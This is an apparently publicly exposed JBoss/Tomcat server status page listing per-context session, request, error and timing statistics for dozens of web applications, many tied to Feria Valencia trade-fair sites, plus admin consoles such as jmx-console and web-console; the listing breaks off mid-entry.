Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 610 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/solucionespro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 546 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/hinchaliapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

tpv.feriavalencia.com/

Startup time: 16 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 197 Max active sessions: 8 Rejected session creations: 0 Expired sessions: 197 Processing time: 3438 ms
JSPs loaded: 3 JSPs reloaded: 3

default [ / ]

Processing time: 0 s Max time: 140 ms Request count: 145 Error count: 145 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 61 s Max time: 4891 ms Request count: 198 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/pruebaspro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 595 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fiecvalpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 422 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/puericulturapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1578 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/ideasypasionpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 672 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fimetexpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1499 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fiestaynavidadpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1062 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/saludybienestarpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 407 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/expocazapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 640 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/ocasionpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/horizontalpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 984 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/feriahabitatvalenciapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/stockcitypro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1047 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/internacionalpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/funermostrapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1047 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/motorepocapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1157 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/prototipopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 16 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/emppro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fimjsppro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 1328 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/jmx-console

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 244 Max active sessions: 10 Rejected session creations: 0 Expired sessions: 244 Processing time: 4141 ms
JSPs loaded: 1 JSPs reloaded: 1

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 16 ms Request count: 244 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 16 ms Request count: 180 Error count: 180 Load time: 0 ms Classloading time: 0 ms

localhost/eupvsecpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 16 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/chapterisacapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 407 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/demorevistapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/interdomopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/cevisamalabpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/ws4ee

Startup time: 15 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 578 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 0 ms

ServiceEndpointServlet [ /services/* ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

JBossAxisAdminServlet [ /admin ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

PortComponentLinkServlet [ /pclink ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/gastronomaform2pro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 923 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/espacioartesanopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2204 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/tcbpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/formacion1pro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 969 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/restalimedpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 953 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/floraliapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 594 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/eurobricopro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 547 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/revistapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/marmolpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 922 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/agendapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 391 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/geniapolispro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 7830 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fimipro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 16 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/espaidolcpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 485 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/maquetapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 16 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/serpromapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2453 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/ebxmlrr

Startup time: 15 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 32 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 15 ms Classloading time: 15 ms

ebxmlrr-soap-receiver-servlet [ /registry/soap ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 485 ms Classloading time: 31 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 78 ms Classloading time: 31 ms

ebxmlrr-rest-receiver-servlet [ /registry/rest/* ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 31 ms Classloading time: 16 ms

localhost/idinovapro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

utilidades-pro.feriavalencia.com/

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 94 Max active sessions: 4 Rejected session creations: 0 Expired sessions: 94 Processing time: 62 ms
JSPs loaded: 2 JSPs reloaded: 2

jsp [ *.jsp , *.jspx ]

Processing time: 1704 s Max time: 109246 ms Request count: 314 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 16 ms Request count: 69 Error count: 69 Load time: 0 ms Classloading time: 0 ms

localhost/cevisamaindipro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 15 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/jbossass

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 19 Max active sessions: 11 Rejected session creations: 0 Expired sessions: 19 Processing time: 31 ms
JSPs loaded: 1 JSPs reloaded: 3

jsp [ *.jsp , *.jspx ]

Processing time: 12 s Max time: 6845 ms Request count: 19 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/beautyforumpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/antiguedadespro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 2580 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/fimifashionweekpro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 0 ms
JSPs loaded: 0 JSPs reloaded: 0

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/urbepro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 31 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/formacion2pro

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 0 Max active sessions: 0 Rejected session creations: 0 Expired sessions: 0 Processing time: 656 ms
JSPs loaded: 0 JSPs reloaded: 0

jsp [ *.jsp , *.jspx ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

localhost/web-console

Startup time: 0 ms TLD scan time: 0 ms
Active sessions: 0 Session count: 604 Max active sessions: 18 Rejected session creations: 0 Expired sessions: 604 Processing time: 12889 ms
JSPs loaded: 6 JSPs reloaded: 6

J2EEFolder

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 140 ms Classloading time: 0 ms

Create Snapshot [ /CreateSnapshot ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 16 ms

Manage Snapshot [ /ManageSnapshot ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 15 ms Classloading time: 15 ms

Clear Monitor Alerts [ /ClearMonitorAlerts ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

default [ / ]

Processing time: 0 s Max time: 422 ms Request count: 655 Error count: 82 Load time: 0 ms Classloading time: 0 ms

SystemFolder

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 47 ms Classloading time: 0 ms

JSR77 EJBModules and EJBs

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

JSR77 J2EE Apps

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

Manage Threshold Monitor [ /ManageThresholdMonitor ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

UCLs

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 0 ms

MonitorsFolder

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

Status Servlet [ /status ]

Processing time: 8 s Max time: 1328 ms Request count: 38 Error count: 0 Load time: 15 ms Classloading time: 0 ms

JSR77 Domains and Servers

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

JMS Message

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 16 ms Classloading time: 0 ms

JSR77 WebModule

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

Create String Threshold Monitor [ /CreateStringThresholdMonitor ]

Processing time: 0 s Max time: 0 ms Request count: 0 Error count: 0 Load time: 0 ms Classloading time: 0 ms

Manage String Threshold Monitor [ /ManageStringThresholdMonitor ]

